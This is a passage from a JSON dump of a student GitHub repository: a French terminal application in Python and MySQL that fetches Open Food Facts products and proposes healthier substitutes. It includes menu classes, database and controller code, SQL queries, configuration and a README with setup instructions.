optional display\n \"\"\"\n self.val = val\n if kwargs.keys():\n self.kwargs = kwargs\n else:\n self.kwargs = False\n self.text = ''\n self.prod, self.substitute = dict(), dict()\n self.disp_order = [\n menu_c.Title,\n menu_c.PrintLine\n ]\n # Get terminal size\n init_geom = menu_c.PrintLine(' ')\n self.col = init_geom.col\n self.colors = init_geom.colors\n self.gen()\n\n def process_kwargs(self):\n \"\"\"This method processes optionals parameters in self.kwargs\"\"\"\n keys = self.kwargs.keys()\n if 'text' in keys:\n self.text = self.kwargs['text']\n\n def comp(self):\n \"\"\"This method adds to queue the details of a product and\n his substitute\n \"\"\"\n b = self.colors['blue']\n B = self.colors['bold']\n end = self.colors['endc']\n for key in self.prod.keys():\n size_key = len(key)+6 # something like ' [ key ] '\n val = str(self.prod[key])\n prod_size = len(val)\n max_size = int((self.col/2)-(size_key/2)-3)\n if key in self.substitute:\n val_s = str(self.substitute[key])\n subs_size = len(val_s)\n else:\n val_s = list()\n subs_size = 0\n range_p_lines = range(0, prod_size, max_size)\n range_s_lines = range(0, subs_size, max_size)\n p_lines = [val[i:i+max_size] for i in range_p_lines]\n s_lines = [val_s[i:i+max_size] for i in range_s_lines]\n (pl, sl) = (len(p_lines), len(s_lines))\n # key on top\n side = \" \"*max_size\n txt = f\"{end}{side} {b}{B}[ {key} ]{end} {side}\"\n line_obj = menu_c.PrintLine(txt)\n self.queue.append(line_obj)\n max_size = int((self.col/2)-(len(' || ')/2)-3)\n if pl > sl:\n for i in range(0, pl-sl):\n s_lines.append(\"\")\n elif pl < sl:\n for i in range(0, sl-pl):\n p_lines.append(\"\")\n for i, elem in enumerate(p_lines):\n left = (max_size-len(elem))*\" \"\n s = s_lines[i]\n right = \" \"*(max_size-len(s))\n txt = (\n f\"{end}{left}{elem} \"\n f\"{B}{'||'}{end} {s}{right}\")\n line_obj = menu_c.PrintLine(txt)\n self.queue.append(line_obj)\n sep = menu_c.PrintLine(\"-\"*(self.col-4))\n self.queue.append(sep)\n\n def gen(self):\n \"\"\"This method creates the menu components needed and\n add them to queue (list)\n \"\"\"\n self.queue = []\n if self.kwargs:\n self.process_kwargs()\n # items\n for item in self.val.items():\n (key, val) = item\n if key[-1] == 'S':\n self.substitute[key[:-1]] = val\n else:\n self.prod[key] = val\n if self.substitute:\n self.comp()\n else:\n for item in self.prod.items():\n # modify display\n (key, val) = item\n g = self.colors['green']\n end = self.colors['endc']\n txt = f\"{end}{g}{key} :{end} {val}{end}\"\n self.queue.append(menu_c.PrintLine(txt))\n # Input:\n self.prompt_obj = menu_c.Prompt(self.text)\n\n def get(self):\n \"\"\"This method prints the result of get() method in each\n menu_components added to queue\n :return: the result of an input\n \"\"\"\n # sorting\n temp = list()\n for obj in self.disp_order:\n for elem in self.queue:\n if isinstance(elem, obj):\n temp.append(elem)\n self.queue = temp\n # display\n for elem in self.queue:\n for line in elem.get():\n print(line)\n return self.prompt_obj.get() or \"0\"\n"
},
{
"alpha_fraction": 0.455331414937973,
"alphanum_fraction": 0.49183475971221924,
"avg_line_length": 25.69230842590332,
"blob_id": "096419d7dca8086c41151981ff6dee05d7d19190",
"content_id": "8152f3c9d0d2de5d19b67271032b12d7c5f5f550",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1041,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 39,
"path": "/openff/views/menu.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nimport os\nimport shutil\n\n\nclass MenuItem:\n \"\"\"This class is the parent class of menu_component class\"\"\"\n def __init__(self, indent=1):\n \"\"\"This method initializes the class\n :param indent: set by default to 1\n \"\"\"\n self.geometry = shutil.get_terminal_size()\n self.col = self.geometry.columns\n self.rows = self.geometry.lines\n if not indent:\n self.indent = 1\n else:\n self.indent = indent\n self.result = []\n self.colors = {\n 'yellow': '\\033[93m',\n 'blue': '\\033[96m',\n 'red': '\\033[91m',\n 'purple': '\\033[95m',\n 'green': '\\033[92m',\n 'bold': '\\033[1m',\n 'endc': '\\033[0m',\n }\n if os.name != \"posix\":\n for key in self.colors.keys():\n self.colors[key] = ''\n pass\n\n def get(self):\n for line in self.result:\n yield line.center(int(self.col/self.indent))\n pass\n"
},
{
"alpha_fraction": 0.7823724150657654,
"alphanum_fraction": 0.7854442596435547,
"avg_line_length": 27.38926124572754,
"blob_id": "b6ef60efc5253989681b0db2abfdaa3fcfb4f31d",
"content_id": "499903217cd2a3ea14c90fbff1f84ec7719b0dba",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 4312,
"license_type": "no_license",
"max_line_length": 171,
"num_lines": 149,
"path": "/README.MD",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "# Utilisez les données publiques de l'Open Food Facts\n\n## Objectifs\n\nCréer un programme qui interagit avec la base de données pour retrouver des aliments et proposer un substitut avec un score nutritionnel plus élevé.\nA travers ce programme on cherchera tout particulièrement à :\n* Sélectionner les langages de programmation adaptés\n* Travailler en respectant une méthodologie de projet Agile\n* Implémenter le schéma de données dans la base\n* Respecter les bonnes pratiques de développement en vigueur\n\n## Cahier des charges\n\n### Description du parcours utilisateur\n\nLe terminal affiche les choix suivants :\n\n1. Substituer un aliment\n\n* Sélectionnez la catégorie. [Plusieurs propositions. L'utilisateur entre le chiffre correspondant et appuie sur entrée]\n* Sélectionnez l'aliment.\n[Plusieurs propositions. L'utilisateur entre le chiffre correspondant à l'aliment choisi et appuie sur entrée]\n* Le programme propose un substitut, sa description, un magasin où l'acheter (le cas échéant) et un lien vers la page d'Open Food Facts concernant cet aliment.\n* L'utilisateur a alors la possibilité d'enregistrer le résultat dans la base de données.\n\n2. Afficher les aliments substitués\n\n\n \n\n### Fonctionnalités\n* Recherche d'aliments dans la base Open Food Facts.\n* L'utilisateur interagit avec le programme dans le terminal, mais si vous souhaitez développer une interface graphique vous pouvez,\n* Si l'utilisateur entre un caractère qui n'est pas un chiffre, le programme doit lui répéter la question,\n* La recherche doit s'effectuer sur une base MySql.\n\n## Livrables\n\n* Modèle physique de données et utilisant l’outil informatique de votre choix.\n* Script de création de votre base de données.\n* Code source publié sur Github https://github.com/Julien-V/P5/\n* Tableau Trello. https://trello.com/b/XfkxWHrN/projet-5\n* Document texte expliquant la démarche choisie, les difficultés rencontrées et les solutions trouvées.\n\n\n\n## Documentation\n\n`main.main()`\n\nAppelle la méthode core.App.run()\n\n`init_db.Populate`\n\nRécupère les produits d'une catégorie via l'API d'Open Food Facts et les insères dans la base de données\n\n### openff/\n\n`openff.core.App`\n\nClass principale, gère les controllers, les views et les models\n\n### openff/controllers\n\n`openff.controllers.controller.Controller`\n\nContrôle la validité des différentes réponses utilisateur\n\n`openff.controllers.category.Category`\n\nReprésente une catégorie, contrôle et insère dans la BDD\n\n`openff.controllers.product.Product`\n\nReprésente un produit, contrôle et insère dans la BDD\n### openff/models\n\n`openff.models.config`\n\nFichier de configuration, contient les étapes et les requêtes SQL\n\n`openff.models.db.DB`\n\nPermet d'interagir avec la base de données\n### openff/views\n\n`openff.views.menu.MenuItem`\n\nClass parent pour les objets de openff.views.menu_component\n\n`openff.views.menu.menu_component.Title`\n\nUne sous class de MenuItem pour afficher un titre\n\n`openff.views.menu.menu_component.Prompt`\n\nUne sous class de MenuItem pour personnaliser l'affichage du input\n\n`openff.views.menu.menu_component.PrintList`\n\nUne sous class de MenuItem pour afficher une liste\n\n`openff.views.menu.menu_component.PrintLine`\n\nUne sous class de MenuItem pour afficher une ligne\n\n`openff.views.menu.menu_models.ChoiceList`\n\nCette class rassemble différents composants de openff.views.menu_component pour créer une view permettant d'afficher une liste et de sélectionner un élément de cette liste\n\n`openff.views.menu.menu_models.PrintLineDB`\n\nCette class rassemble différents composants de openff.views.menu_component pour créer une view affichant le détail d'un produit ou le produit et le substitut côte à côte.\n\n\n\n## Installation et lancement\n\nInstallation\n```\nvirtualenv Project5\ncp -R P5 Project5\ncd Project5\nsource bin/activate\npip install -r requirements.txt\n```\nLancement\n```\npython3 main.py\n```\n\n* Testé sous Debian avec Python 3.7.6\n\n## Ajouter une catégorie\n### Supprimer la base de données\n```\nDROP DATABASE openff;\n```\n### Ajouter la catégorie dans config.py\n_Dans openff.models.config_\n```python\ncat = [\"desserts-au-chocolat\", \"boissons-instantanees\"]\ncat.append(\"cereales-au-chocolat\")\ncat.append(\"pizzas\") # nouvelle catégorie\n```\n### Lancement du programme\n```\npython3 main.py\n```\n\n\n"
},
{
"alpha_fraction": 0.5597015023231506,
"alphanum_fraction": 0.5608208775520325,
"avg_line_length": 31.289155960083008,
"blob_id": "63037cc918bd1f8bc427f2fa779d4494e13da612",
"content_id": "b9ca157a1af96fd4ad5c147d7c762923b1b3a47e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2680,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 83,
"path": "/openff/models/db.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nimport os\nimport getpass\nimport mysql.connector as mysql_c\n# from mysql.connector import errorcode\n\nimport config as cfg\n\n\nclass DB:\n \"\"\"This class connects or creates a MySQL database.\"\"\"\n def __init__(self):\n \"\"\"This method initializes the class and call self.connect()\"\"\"\n self.name = cfg.db[\"name\"]\n self.user = cfg.db['connect']['user']\n self.sql_filename = cfg.db[\"create_file_name\"]\n self.sql_filepath = cfg.db[\"create_file_path\"]\n self.dict_result = False\n self.exist = False\n self.connect()\n\n def connect(self):\n \"\"\"This method attempts a connection to mysql, check if db exist\n and use it\n \"\"\"\n try:\n self.cnx = mysql_c.connect(\n user=self.user,\n password=getpass.getpass())\n except mysql_c.error as e:\n if e.errno in cfg.db[\"error\"].keys():\n print(cfg.db[\"error\"][e.errno])\n else:\n print(cfg.db[\"Uerror\"].format(e.msg))\n return\n self.cursor = self.cnx.cursor()\n self.cursor.execute(cfg.db[\"show\"])\n databases = [elem[0] for elem in self.cursor.fetchall()]\n if self.name not in databases:\n self.create()\n # parameter insertion doesn't seem to work with database name\n self.cursor.execute(\"USE {}\".format(self.name))\n\n def create(self):\n \"\"\"This method is called by connect()\n and create database with a *.sql file\n \"\"\"\n dirs = os.listdir(self.sql_filepath)\n if self.sql_filename not in dirs:\n print(self.sql_filename, \" not found\")\n return\n path = os.path.join(self.sql_filepath, self.sql_filename)\n with open(path, \"r\") as file_a:\n queries = file_a.read().split(\";\")\n for query in queries:\n try:\n self.cursor.execute(query)\n except mysql_c.error as e:\n print(e)\n print(query)\n\n def get_cursor(self):\n \"\"\"This method returns a cursor to execute queries\"\"\"\n # result will always be returned as a dict\n if not self.dict_result:\n self.cursor.close()\n self.cursor = self.cnx.cursor(dictionary=True)\n self.dict_result = True\n return self.cursor\n\n def save(self):\n \"\"\"This method commits modification into database\"\"\"\n self.cnx.commit()\n\n def __del__(self):\n \"\"\"This method saves, closes cursor and connection to DB\n when this object is removed\n \"\"\"\n self.save()\n self.cursor.close()\n self.cnx.close()\n"
},
{
"alpha_fraction": 0.5329391956329346,
"alphanum_fraction": 0.5346283912658691,
"avg_line_length": 24.191490173339844,
"blob_id": "bf904f903e28c87e243ae64a2cf584122bf9b843",
"content_id": "1710b8b66c6bd93f61ff071cfa621f0dcae46bf3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1184,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 47,
"path": "/openff/models/req_sql.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\n# SQL\n#########################\n\nsql = dict()\nsql[\"test\"] = \"SELECT * from Categories\"\n\nsql[\"insert_cat\"] = (\n \"\"\"INSERT INTO Categories \"\"\"\n \"\"\"(category_name) VALUES (%s)\"\"\")\n\nsql[\"insert_PiC\"] = (\n \"\"\"INSERT INTO Prod_in_Cat \"\"\"\n \"\"\"(category_id, product_id) VALUES (%s, %s)\"\"\")\n\nsql[\"insert_prod\"] = (\n \"\"\"INSERT INTO Products \"\"\"\n \"\"\"(product_name, brands, code, \"\"\"\n \"\"\"categories, nutrition_grades, \"\"\"\n \"\"\"stores, url, added_timestamp) \"\"\"\n \"\"\"VALUES (%s, %s, %s, \"\"\"\n \"\"\"%s, %s, \"\"\"\n \"\"\"%s, %s, %s)\"\"\")\n\nsql['prod_update'] = (\n \"\"\"UPDATE Products \"\"\"\n \"\"\"SET substitute_id = %s, \"\"\"\n \"\"\"updated_timestamp = %s \"\"\"\n \"\"\"WHERE id = %s\"\"\")\n\n# SQL Subs Menu\nsql['displayByCat'] = (\n \"\"\"SELECT * FROM Products LEFT JOIN Prod_in_Cat \"\"\"\n \"\"\"ON Products.id=Prod_in_Cat.product_id \"\"\"\n \"\"\"WHERE Prod_in_Cat.category_id=%s\"\"\")\n\nsql['subst'] = sql['displayByCat'] + \"\"\" ORDER BY nutrition_grades\"\"\"\n\nsql['prod'] = \"\"\"SELECT * FROM Products WHERE id = %s\"\"\"\n\n# SQL Disp Menu\nsql['displayAll'] = (\n \"\"\"SELECT * FROM Products WHERE substitute_id IS NOT NULL\"\"\")\n\nsql['disp'] = sql['displayAll']\n"
},
{
"alpha_fraction": 0.49729856848716736,
"alphanum_fraction": 0.5015268921852112,
"avg_line_length": 27.763513565063477,
"blob_id": "b6cf7f423e8ab1fd4d906003aeb39a6d83c94447",
"content_id": "343d94c4fd026f4c42dd7a6a48f1531cc55fe9c3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4257,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 148,
"path": "/openff/views/menu_component.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\n\nfrom . import menu\n\n\nclass Title(menu.MenuItem):\n def __init__(self, text, indent=1):\n super().__init__(indent)\n self.text = text\n self.gen()\n\n def gen(self):\n B = self.colors[\"bold\"]\n end = self.colors[\"endc\"]\n # \\n self.text \\n\n self.result = [\n \"\\n\",\n f\"{B}{self.text}{end}\",\n \"\\n\"\n ]\n\n def get(self):\n for line in self.result:\n yield line.center(int(self.col/self.indent))\n\n\nclass Prompt(menu.MenuItem):\n def __init__(self, text=\"\"):\n super().__init__()\n self.text = text\n self.line = \"\"\n self.gen()\n\n def gen(self):\n g = self.colors[\"green\"]\n B = self.colors[\"bold\"]\n end = self.colors[\"endc\"]\n # [+] self.text >>>\n self.line = (\n f\"{B}[{g}+{end}{B}] \"\n f\"{self.text} >>> {end}\")\n\n def get(self):\n return input(self.line)\n\n\nclass PrintList(menu.MenuItem):\n \"\"\"This class (a subclass of menu.MenuItem) prints a list\"\"\"\n def __init__(self, values, num=True, indent=3, limit=15):\n \"\"\"This method initializes the class and call gen() method\n :param values: list to display\n :param num: numerotation beside list elem, set by default to True\n :param indent: number of indent, set by default to 3\n :param limit: max number of list element to be displayed,\n set by default to 15\n \"\"\"\n super().__init__(indent)\n self.values = values\n self.num = num\n self.limit = limit\n self.pages = list()\n self.page = 0\n self.gen()\n\n def lines_length_check(self):\n \"\"\"This method adds extra spaces to all element\n .center() is sensible to the length of a str\n \"\"\"\n # we want a nicely displayed list\n line_size = max([len(x) for x in self.result])\n temp = []\n for line in self.result:\n if len(line) < line_size:\n line += \" \"*(line_size-len(line))\n temp.append(line)\n self.result = temp\n self.result.append(\"\\n\\n\")\n\n def gen(self):\n \"\"\"This method formats all elements in self.values\n and add them to self.result then self.result is resized to\n match self.limit\n \"\"\"\n b = self.colors[\"blue\"]\n B = self.colors[\"bold\"]\n end = self.colors[\"endc\"]\n # \"[] val\"\n self.result.append(\"\\n\\n\")\n for id_item, item in enumerate(self.values):\n if self.num:\n # [id_item] item\n line = (\n f\"{B}[{b}{id_item}{end}{B}]{end} \"\n f\"{item}\")\n self.result.append(line)\n else:\n # [*] item\n line = (\n f\"{B}[{b}*{end}{B}]{end} \"\n f\"{item}\")\n self.result.append(line)\n # list into sublists of size self.limit\n # for future implementation of pages\n lim = self.limit\n r = self.result\n # slice a list into multiple sublist (with their length matching limit)\n temp = [r[i:i+lim] for i in range(0, len(r), lim)]\n self.pages = temp\n self.result = temp[self.page]\n self.lines_length_check()\n\n def gen_next_page(self):\n \"\"\"This method displays the next page of the list\n .. note: method unused\n \"\"\"\n if len(self.result)-1 > self.page:\n self.page += 1\n else:\n self.page = 0\n self.result = self.pages[self.page]\n\n def get(self):\n for line in self.result:\n yield line.center(int(self.col/self.indent))\n\n\nclass PrintLine(menu.MenuItem):\n def __init__(self, text, indent=1000):\n super().__init__(indent)\n self.text = text\n self.gen()\n\n def gen(self):\n b = self.colors[\"blue\"]\n B = self.colors[\"bold\"]\n end = self.colors[\"endc\"]\n # [*] self.text\n line = (\n f\"{B}{b}[*] {end}{B}\"\n f\"{self.text}{end}\"\n )\n self.result.append(line)\n\n def get(self):\n for line in self.result:\n yield line.center(int(self.col/self.indent))\n"
},
{
"alpha_fraction": 0.5116279125213623,
"alphanum_fraction": 0.5137420892715454,
"avg_line_length": 32.11000061035156,
"blob_id": "de44311eea9388f9e2f3101a0bef8ad9cba359ba",
"content_id": "2ecd002f62ea65d2ad1a4b412636e1ab0163656c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3311,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 100,
"path": "/openff/controllers/product.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nfrom datetime import datetime\n\nfrom openff.models import req_sql\nimport config as cfg\n\n\nclass Product:\n \"\"\"This class represents a product,\n control and insert its caracteristics into database\n \"\"\"\n def __init__(self, model, category_id):\n \"\"\"This method initializes the class\n :param model: cursor object linked to database\n :param category_id:\n \"\"\"\n self.cursor = model\n self.cat_id = category_id\n self.spec = dict()\n\n def get_validate_insert(self, prod, update=False):\n \"\"\"This method checks if all NOT NULL value exit in self.spec\n :param prod: product (dict)\n :param update: set by default to False\n \"\"\"\n for key in cfg.db['product_check']:\n if key in prod.keys():\n # validate and fix can go here no ?\n if key == 'code':\n self.spec[key] = int(prod[key])\n else:\n self.spec[key] = prod[key]\n else:\n # view.error(errormessage)\n pass\n ts = int(datetime.now().timestamp())\n self.spec['added_timestamp'] = ts\n self.spec['category_id'] = self.cat_id\n test = self._validate_product_spec()\n if test and not update:\n self._insert()\n elif test and update:\n update['substitued_id'] = prod['id']\n self._update(update)\n\n def _validate_product_spec(self):\n \"\"\"This method validates types and length of self.spec\n :return: True if self.spec is valided else False\n \"\"\"\n s = self.spec\n missing = []\n for key in cfg.db['product_check']:\n if key in s.keys():\n if isinstance(s[key], cfg.db['product_type'][key]):\n pass\n else:\n print(f\"{key} not a {cfg.db['product_type']}\")\n if key == 'nutrition_grades':\n if len(s['nutrition_grades']) != 1:\n return False\n else:\n missing.append(key)\n if missing:\n # print(missing)\n return False\n return True\n\n def _insert(self):\n \"\"\"This method inserts the product into database\"\"\"\n s = self.spec\n sql = req_sql.sql['insert_prod']\n sql_args = (\n s['product_name'], s['brands'], s['code'],\n s['categories'], s['nutrition_grades'],\n s['stores'], s['url'], s['added_timestamp']\n )\n sql2 = req_sql.sql['insert_PiC']\n try:\n self.cursor.execute(sql, sql_args)\n sql2_args = (self.cat_id, self.cursor.lastrowid)\n self.cursor.execute(sql2, sql2_args)\n except Exception as e:\n print(e)\n return\n\n def _update(self, update):\n \"\"\"This method updates a product row\n :param update: a dict with information to update\n \"\"\"\n ts = int(datetime.now().timestamp())\n # sql = UPDATE Products SET {} = {}, {}, {} WHERE id= {}\n sql = req_sql.sql['prod_update']\n key = 'substitute_id'\n sql_args = (\n update[key],\n ts,\n update['substitued_id'])\n self.cursor.execute(sql, sql_args)\n"
},
{
"alpha_fraction": 0.48530900478363037,
"alphanum_fraction": 0.48733535408973694,
"avg_line_length": 28.909090042114258,
"blob_id": "180757b63e644897614ff174696d3992df346b02",
"content_id": "cbdc984c72abd98af3fb5c340229aaef782f9ee5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1974,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 66,
"path": "/openff/controllers/controller.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nimport os\n\nimport config as cfg\n\n\nclass Controller:\n \"\"\"This class controls the validity of user's anwser\"\"\"\n def __init__(self, view, model):\n \"\"\"This method initializes the class\n :param view: a view (openff.views.menu_models)\n :param model: a model, database or cursor\"\"\"\n self.view = view\n self.model = model\n\n def _clear(self):\n \"\"\"This method clears the screen\"\"\"\n os.system('clear')\n\n def choice_menu(self, debug=False):\n \"\"\"This method controls the choice of an element in a list\n :param debug: debug set by default to False\n :return: int of user's anwser\n \"\"\"\n valid = False\n while not valid:\n if not debug:\n self._clear()\n rep = self.view.get()\n choice_list = self.view.resized_result.copy()\n # get rid of \\n\n choice_list.remove(choice_list[0])\n choice_list.remove(choice_list[-1])\n if rep == cfg.back or rep == cfg.exit:\n valid = True\n else:\n try:\n choice_list[int(rep)]\n valid = True\n except Exception as e:\n print(e)\n valid = False\n return int(rep)\n\n def print_line_db(self, debug=False):\n \"\"\"This method controls user's anwser\n :param debug: debug set by default to False\n :return: int of user's anwser\n \"\"\"\n valid = False\n while not valid:\n if not debug:\n self._clear()\n rep = self.view.get()\n if rep == cfg.back or rep == cfg.exit:\n valid = True\n else:\n try:\n rep = int(rep)\n valid = True\n except Exception as e:\n print(e)\n valid = False\n return int(rep)\n"
},
{
"alpha_fraction": 0.5521008372306824,
"alphanum_fraction": 0.5537815093994141,
"avg_line_length": 25.44444465637207,
"blob_id": "709c0574c59c6e1f1b1515a57a78ae49185fd262",
"content_id": "633fe549e474f268b6e16b219f8de9bca5a6c0b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1190,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 45,
"path": "/openff/controllers/category.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nfrom openff.models import req_sql\n\n\nclass Category:\n \"\"\"This class represents a category,\n control and insert it into database\n \"\"\"\n def __init__(self, name, model):\n \"\"\"This method initializes the class\n :param name: category name\n :param model: cursor linked to database\n \"\"\"\n self.name = name\n self.cursor = model\n self.prod_list = []\n\n def add_product(self, product):\n \"\"\"This method adds a product in self.prod_list\"\"\"\n self.prod_list.append(product)\n\n def _validate(self):\n \"\"\"This method checks category's type\n :return: boolean\n \"\"\"\n if not isinstance(self.name, str):\n print(f\"{self.name} not str\")\n return False\n else:\n return True\n\n def insert(self):\n \"\"\"This method inserts this category into database\"\"\"\n valid = self._validate()\n if not valid:\n return\n sql = req_sql.sql['insert_cat']\n sql_args = (self.name,)\n try:\n self.cursor.execute(sql, sql_args)\n except Exception as e:\n print(e)\n return\n"
},
{
"alpha_fraction": 0.5291379690170288,
"alphanum_fraction": 0.5388196110725403,
"avg_line_length": 20.398406982421875,
"blob_id": "ea30f4887ed07eae2610d37e81fda680e5fcf794",
"content_id": "1e27ef6ec3d8bd4dd96bbdd3294767c87cf7e61b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5379,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 251,
"path": "/config.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nimport getpass\n\nfrom openff.models import req_sql\n# from openff.views import menu\nfrom openff.views import menu_models as mm\n\nfrom openff.controllers import controller as ctrl\n\nlocale = \"fr\"\ntitle = \"Projet 5\"\n\nback = '777'\nexit = '999'\n\n# DB\n#########################\n\ndb = dict()\n\ndb[\"name\"] = \"openff\"\ndb[\"create_file_name\"] = \"create-db.sql\"\ndb[\"create_file_path\"] = \"openff/models/\"\n\ndb[\"connect\"] = {\n 'user': getpass.getuser(),\n}\n\ndb[\"product_check\"] = {\n 'product_name': str,\n 'brands': str,\n 'code': int,\n 'categories': str,\n 'nutrition_grades': str,\n 'stores': str,\n 'url': str\n}\n\ndb[\"product_type\"] = db[\"product_check\"].copy()\ndb[\"product_type\"][\"category_id\"] = int\ndb[\"product_type\"][\"added_timestamp\"] = int\n\ndb[\"product_val\"] = db['product_type'].keys()\n\n\ndb[\"error\"] = {\n 1044: \"\",\n 1698: \"Invalid Password, Access Denied\"\n}\n\ndb[\"Uerror\"] = \"Unknown Error : \\n {}\"\n\ndb[\"show\"] = \"SHOW DATABASES\"\n\n\n# Requests\n#########################\n\nheaders = {'user-agent': 'OC_P5/0.1'}\n\n# url = \"https://{}.openfoodfacts.org/categorie/{}.json\"\nurl = \"https://{}.openfoodfacts.org/cgi/search.pl?\".format(locale)\n\nparam = {\n \"action\": \"process\",\n \"page\": 1,\n # only 200 to avoid timeout\n \"page_size\": 200,\n \"tagtype_0\": \"categories\",\n \"tag_contains_0\": \"contains\",\n \"tag_0\": \"\",\n \"json\": True\n}\n\ncat = [\"desserts-au-chocolat\", \"boissons-instantanees\"]\ncat.append(\"cereales-au-chocolat\")\n\n\n# Text for Menu\n#########################\n\ntext = dict()\ntext['start'] = [\n [\"Substituer un aliment\", \"Afficher les aliments substitués\"], {\n 'text': 'Menu',\n 'title': title\n }]\n# Substitute text\ntext['cat_choice'] = [\n cat, {\n 'text': 'Catégorie',\n 'title': 'Choix de la catégorie'\n }\n]\ntext['prod_choice'] = [\n [], {\n 'text': 'Produit',\n 'title': 'Choix du produit'\n }\n]\ntext['prod_details'] = [\n [], {\n 'text': '',\n 'title': ''\n }\n]\ntext['subs_choice'] = [\n [], {\n 'text': 'Substitution',\n 'title': 'Choix du produit à substituer'\n }\n]\ntext['subs_details'] = [\n [], {\n 'text': '777 to go back, enter to save substitute',\n 'title': ''\n }\n]\n# Display subs text\nall_s = \"Tout mes produits substitués\"\ntext['display'] = [\n [\"Par catégorie\", all_s], {\n 'text': 'Afficher',\n 'title': 'Afficher'\n }\n]\ntext['displayByCat'] = [\n cat, {\n 'text': \"Catégorie\",\n 'title': \"Afficher par catégorie\"\n }\n]\ntext['disp_choice'] = [\n [], {\n 'text': \"Produit\"\n }\n]\n\n\n# paramExt\n#########################\n\n# paramExt = dict()\n# paramExt['format'] = [\n# (lambda i: i['product_name'] + \" // \" + str(i['barcode'])\n# ]\n\nparamExt = dict()\n# cat_choice\nparam_ext_cc = {\n 'query': req_sql.sql['test']\n}\n# prod_choice\nparam_ext_pc = {\n '4query': 'category_id',\n 'query': req_sql.sql['displayByCat'],\n 'format': [\n lambda i: [i, f\"{i['product_name']} // {i['brands']}\"],\n lambda i: f\"{i[1]} // {i[0]['nutrition_grades']}\"\n ]\n}\n# prod_details\nnG = 'nutrition_grades'\n\n\n# substChoice\nparam_ext_sc = {\n '4query': 'category_id',\n 'query': req_sql.sql['subst'],\n 'process': [lambda i: [x for x in i.result if x[nG] < i.item[nG]]],\n 'format': [\n lambda i: [i, f\"{i['product_name']}\"],\n lambda i: f\"{i[1]} // {i[0]['nutrition_grades']}\"\n ],\n}\n# display\nprod_by_id = req_sql.sql['prod']\nparam_ext_dc = {\n 'query': req_sql.sql['displayAll'],\n 'process': [\n lambda i: [\n i,\n [i.query(prod_by_id, x['substitute_id']-1) for x in i.result]\n ],\n lambda i: [\n i[0],\n [{k+'S': v for k, v in list(elem[0].items())} for elem in i[1]]\n ],\n lambda i: [\n i[0],\n [i[0].result[idD].update(elem) for idD, elem in enumerate(i[1])]\n ],\n lambda i: i[0].result\n ],\n 'format': [\n lambda i: [i, f\"{i['product_name']} // {i[nG]}\"],\n lambda i: [i[0], f\"{i[1]} --> {i[0]['product_nameS']}\"],\n lambda i: f\"{i[1]} // {i[0]['nutrition_gradesS']}\"\n ]\n}\n\n# Menu :\n#########################\n\n\"\"\" STEP\nkwargs.keys() = ['text', 'title', lines'] # possible key\nargs = [listValues, **kwargs]\nvar = [view, controller, args, paramExt]\n\"\"\"\n\nchoice = mm.ChoiceList\nprint_line = mm.PrintLineDB\nctrller = ctrl.Controller\n\ncat_choice = [choice, ctrller, text['cat_choice'], param_ext_cc]\nprod_choice = [choice, ctrller, text['prod_choice'], param_ext_pc]\nprod_details = [print_line, ctrller, text['prod_details']]\n# subs_choice = [choice, ctrller, text['subs_choice'], param_ext_sc]\nsubs_prop = [print_line, ctrller, text['subs_details'], param_ext_sc]\nend = [None, None, None] # the end\n\ndisp_choice = [choice, ctrller, text['disp_choice'], param_ext_dc]\n\n# Substitute\nstep_sub = {\n 'cat_choice': cat_choice,\n 'prod_choice': prod_choice,\n 'subs_choice': subs_prop,\n 'prod_update': end,\n 'end': end\n}\n\n# Display\nstep_disp_all = {\n 'disp_choice': disp_choice,\n 'prod_details': prod_details,\n 'end': end\n}\n\n\n\"\"\"Group of steps contained in a dict with a key 'param'\n'param': [view, controller, args]\nwith args = [listValues, **kwargs]\n\"\"\"\nstep_app = {\n 'substitute': step_sub,\n 'display': step_disp_all,\n 'param': [choice, ctrller, text['start']]\n}\n"
},
{
"alpha_fraction": 0.7400204539299011,
"alphanum_fraction": 0.7451381683349609,
"avg_line_length": 25.432432174682617,
"blob_id": "950c36283942466ecd40f88ad1aef4b44ecddaf8",
"content_id": "b52e57c876cbcfe9e81131e0324ea6785441fcc8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 977,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 37,
